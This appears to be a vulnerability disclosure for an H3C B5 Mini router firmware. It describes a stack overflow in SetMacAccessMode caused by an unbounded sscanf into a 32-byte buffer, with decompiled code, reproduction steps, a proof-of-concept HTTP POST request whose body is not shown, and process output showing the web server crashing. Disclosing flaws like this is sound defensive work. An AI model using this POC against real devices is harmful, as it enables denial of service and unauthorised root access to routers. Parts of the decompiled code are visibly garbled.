

Overview

- Manufacturer's website information: https://www.h3c.com/
- Firmware download address: https://www.h3c.com/cn/d_202007/1311628_30005_0.htm

Product Information

H3C B5 Mini B5MiniV100R005 router, the latest version of simulation overview:



Vulnerability details

The H3C B5 Mini B5MiniV100R005 router was found to have a stack overflow vulnerability in the SetMacAccessMode function. An attacker can obtain a stable root shell through a carefully constructed payload.

```
16 int v15[8]: // [sp+80h] [+80h] BYREF
17
   int v16[8]; // [sp+A0h] [+A0h] BYREF
18 int v17[8]; // [sp+C0h] [+C0h] BYREF
   int v18[8]; // [sp+E0h] [+E0h] BYREF
19
     _BYTE v19[32]; // [sp+100h] [+100h] BYREF
20
21
    int v20; // [sp+120h] [+120h]
22
   int v21; // [sp+124h] [+124h]
23
    int v22; // [sp+128h] [+128h]
24
    int v23[19]; // [sp+12Ch] [+12Ch] BYREF
25
26
    v10 = 0;
27
    i = 0;
28
    \vee 8 = 0;
29
    v12 = 0;
    \sqrt{7} = 0;
30
31
    v13 = 0;
32
    \vee 14 = 0;
33
    memset(v15, 0, sizeof(v15));
34
    memset(v16, 0, sizeof(v16));
35
    memset(v17, 0, sizeof(v17));
    V6 = 0;
36
37
    \sqrt{5} = 0;
    v11 = websgetvar(a1,
                            'param",
                                   &dword 49DC78);
38
39
    if (\!v11 )
40
       return -9;
41
    memset (15, 0, sizeof(v15));
   sscanf(v11, "%[^;];", v15);
42
43
    v11 += strlen(v15) + 1;
44
    v7 = atoi(v15);
```

In the SetMacAccessMode function, V11 (the value param) we entered is formatted using the sscanf function and in the form of %[^;]; . This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V15, it will cause a stack overflow.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

- 1. Boot the firmware by gemu-system or other ways (real machine)
- 2. Attack with the following POC attacks

```
POST /goform/aspForm HTTP/1.1
Host: 192.168.0.124:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101
Firefox/102.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.
Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2
Accept-Encoding: gzip, deflate
Referer: https://121.226.152.63:8443/router password mobile.asp
Content-Type: application/x-www-form-urlencoded
Content-Length: 536
Origin: https://192.168.0.124:80
DNT: 1
Connection: close
Cookie: LOGIN_PSD_REM_FLAG=0; PSWMOBILEFLAG=true
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
```

The picture above shows the process information before we send poc.

```
1504 root 1232 S /bin/maincontrol &

1514 root 1864 S /bin/h3cgamebooster &

1519 root 296 S /bin/watchdog &

1523 root 360 S sh /var/tmp/uu/monitor.sh &

1524 root 728 S /bin/manitor &

1656 root 448 S dnsmasq -r /etc/resolv.conf -n -c 500

1670 root 556 S /bin/dhcpd -d -q br0

1837 root 164 S pathsel -i wlan-msh -P -d

2355 root 2904 S /var/tmp/uu/uuplugin /var/tmp/uu/uu.conf

2361 root 464 S /var/tmp/uu/uuplugin /var/tmp/uu/uu.conf

6712 root 572 S telnetd

24244 root 556 S pppd file /etc/ppp/options385875970 WAN1 385875970 3 WAN1 enable

266772 root 848 S /bin/sh

28103 root 600 S sleep 60


28299 root 2168 S /bin/webs &

28305 root 724 R ps
```

In the picture above, we can see that the PID has changed since we sent the POC.

级别	信息来源	信息内容
error	系统	webs进程已重启。

The picture above is the log information.



By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell without authorization.